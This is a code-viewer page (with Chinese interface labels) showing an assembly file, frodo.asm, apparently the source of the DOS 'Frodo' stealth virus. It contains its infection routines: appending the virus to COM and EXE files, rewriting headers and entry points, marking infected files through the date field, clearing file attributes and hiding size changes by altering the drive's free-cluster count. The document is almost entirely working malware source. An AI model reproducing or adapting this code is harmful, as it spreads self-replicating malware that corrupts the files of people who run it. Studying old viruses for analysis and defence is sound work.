📄 frodo.asm
字号:
infect_file:
call replaceint13and24
call findnextparagraphboundary
mov byte ptr ds:EXEflag,1 ; assume is an EXE file
cmp word ptr ds:readbuffer,'ZM' ; check here for regular
je clearlyisanEXE ; EXE header
cmp word ptr ds:readbuffer,'MZ' ; check here for alternate
je clearlyisanEXE ; EXE header
dec byte ptr ds:EXEflag ; if neither, assume is a
jz try_infect_com ; COM file
clearlyisanEXE:
mov ax,ds:lengthinpages ; get file size in pages
shl cx,1 ; and convert it to
mul cx ; bytes
add ax,200h ; add 512 bytes
cmp ax,si
jb go_exit_infect_file
mov ax,ds:minmemory ; make sure min and max memory
or ax,ds:maxmemory ; are not both zero
jz go_exit_infect_file
mov ax,ds:filesizelow ; get filesize in dx:ax
mov dx,ds:filesizehigh
mov cx,200h ; convert to pages
div cx
or dx,dx ; filesize multiple of 512?
jz filesizemultiple512 ; then don't increment #
inc ax ; pages
filesizemultiple512:
mov ds:lengthinpages,ax ; put in new values for length
mov ds:lengthMOD512,dx ; fields
cmp word ptr ds:initialIP,1 ; check if already infected
je exit_infect_file
mov word ptr ds:initialIP,1 ; set new entry point
mov ax,si ; calculate new entry point
sub ax,ds:headersize ; segment
mov ds:initialcs,ax ; put this in for cs
add word ptr ds:lengthinpages,8 ; 4K more
mov ds:initialSS,ax ; put entry segment in for SS
mov word ptr ds:initialSP,1000h ; set stack @ 1000h
call finish_infection
go_exit_infect_file:
jmp short exit_infect_file
try_infect_com:
cmp si,0F00h ; make sure file is under
jae exit_infect_file ; F00h paragraphs or else
; it will be too large once it
; is infected
mov ax,ds:readbuffer ; first save first 6 bytes
mov word ptr ds:oldheader,ax
add dx,ax
mov ax,ds:readbuffer+2
mov word ptr ds:oldheader+2,ax
add dx,ax
mov ax,ds:readbuffer+4
mov word ptr ds:oldheader+4,ax
add dx,ax ; exit if checksum = 0
jz exit_infect_file ; since then it is already
; infected
mov cl,0E9h ; encode jmp instruction
mov byte ptr ds:readbuffer,cl
mov ax,10h ; find file size
mul si
add ax,offset entervirus-3 ; calculate offset of jmp
mov word ptr ds:readbuffer+1,ax ; encode it
mov ax,ds:readbuffer ; checksum it to 0
add ax,ds:readbuffer+2
neg ax
mov ds:readbuffer+4,ax
call finish_infection
exit_infect_file:
mov ah,3Eh ; Close file
call callint21
call restoreint13and24
retn
findnextparagraphboundary:
push cs
pop ds
mov ax,5700h ; Get file time/date
call callint21
mov ds:filetime,cx
mov ds:filedate,dx
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,3Fh ; Read first 1Ch bytes
mov cl,1Ch
mov dx,offset oldheader
call callint21
mov ax,4202h ; Go to end of file
xor cx,cx
mov dx,cx
call callint21
mov ds:filesizelow,ax ; save filesize
mov ds:filesizehigh,dx
mov di,ax
add ax,0Fh ; round to nearest paragraph
adc dx,0 ; boundary
and ax,0FFF0h
sub di,ax ; di=# bytes to next paragraph
mov cx,10h ; normalize filesize
div cx ; to paragraphs
mov si,ax ; si = result
retn
finish_infection:
mov ax,4200h ; Go to beginning of file
xor cx,cx
mov dx,cx
call callint21
mov ah,40h ; Write new header to file
mov cl,1Ch
mov dx,offset readbuffer
call callint21
mov ax,10h ; convert paragraph boundary
mul si ; to a byte value
mov cx,dx
mov dx,ax
mov ax,4200h ; go to first paragraph
call callint21 ; boundary at end of file
xor dx,dx
mov cx,1000h
add cx,di
mov ah,40h ; Concatenate virus to file
call callint21
mov ax,5701h ; Restore file time/date
mov cx,ds:filetime
mov dx,ds:filedate
test dh,80h ; check for infection bit
jnz highbitset
add dh,0C8h ; alter if not set yet
highbitset:
call callint21
cmp byte ptr ds:DOSversion,3; if not DOS 3+, then
jb exit_finish_infection ; do not hide the alteration
; in cluster count
cmp byte ptr ds:hideclustercountchange,0
je exit_finish_infection
push bx
mov dl,ds:filedrive
mov ah,32h ; Get drive parameter block
call callint21 ; for drive dl
mov ax,cs:numfreeclusters
mov [bx+1Eh],ax ; alter free cluster count
pop bx
exit_finish_infection:
retn
checkFCBokinfect:
call saveregs
mov di,dx
add di,0Dh ; skip to extension
push ds
pop es
jmp short performchecksum ; and check checksum for valid
; checksum
checkdsdxokinfect:
call saveregs
push ds
pop es
mov di,dx
mov cx,50h ; max filespec length
xor ax,ax
mov bl,0 ; default drive
cmp byte ptr [di+1],':' ; Is there a drive spec?
jne ondefaultdrive ; nope, skip it
mov bl,[di] ; yup, get drive
and bl,1Fh ; and convert to number
ondefaultdrive:
mov cs:filedrive,bl
repne scasb ; find terminating 0 byte
performchecksum:
mov ax,[di-3]
and ax,0DFDFh ; convert to uppercase
add ah,al
mov al,[di-4]
and al,0DFh ; convert to uppercase
add al,ah
mov byte ptr cs:EXEflag,0 ; assume COM file
cmp al,0DFh ; COM checksum?
je COMchecksum
inc byte ptr cs:EXEflag ; assume EXE file
cmp al,0E2h ; EXE checksum?
jne otherchecksum
COMchecksum:
call restoreregs
clc ; mark no error
retn
otherchecksum:
call restoreregs
stc ; mark error
retn
getcurrentPSP:
push bx
mov ah,51h ; Get current PSP segment
call callint21
mov cs:currentPSP,bx ; store it
pop bx
retn
setup_infection:
call replaceint13and24
push dx
mov dl,cs:filedrive
mov ah,36h ; Get disk free space
call callint21
mul cx ; ax = bytes per cluster
mul bx ; dx:ax = bytes free space
mov bx,dx
pop dx
or bx,bx ; less than 65536 bytes free?
jnz enough_free_space ; hopefully not
cmp ax,4000h ; exit if less than 16384
jb exit_setup_infection ; bytes free
enough_free_space:
mov ax,4300h ; Get file attributes
call callint21
jc exit_setup_infection ; exit on error
mov di,cx ; di = attributes
xor cx,cx
mov ax,4301h ; Clear file attributes
call callint21
cmp byte ptr cs:errorflag,0 ; check for errors
jne exit_setup_infection
mov ax,3D02h ; Open file read/write
call callint21
jc exit_setup_infection ; exit on error
mov bx,ax ; move handle to bx
; xchg bx,ax is superior
mov cx,di
mov ax,4301h ; Restore file attributes
call callint21
push bx
mov dl,cs:filedrive ; Get file's drive number
mov ah,32h ; Get drive parameter block
call callint21 ; for disk dl
mov ax,[bx+1Eh] ; Get free cluster count
mov cs:numfreeclusters,ax ; and save it
pop bx ; return handle
call restoreint13and24
retn
exit_setup_infection:
xor bx,bx
dec bx ; return bx=-1 on error
call restoreint13and24
retn
checkforinfection:
push cx
push dx
push ax
mov ax,4400h ; Get device information
call callint21 ; (set hide_size = 2)
xor dl,80h
test dl,80h ; Character device? If so,
jz exit_checkforinfection ; exit; cannot be infected
mov ax,5700h ; Otherwise get time/date
call callint21
test dh,80h ; Check year bit for infection
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -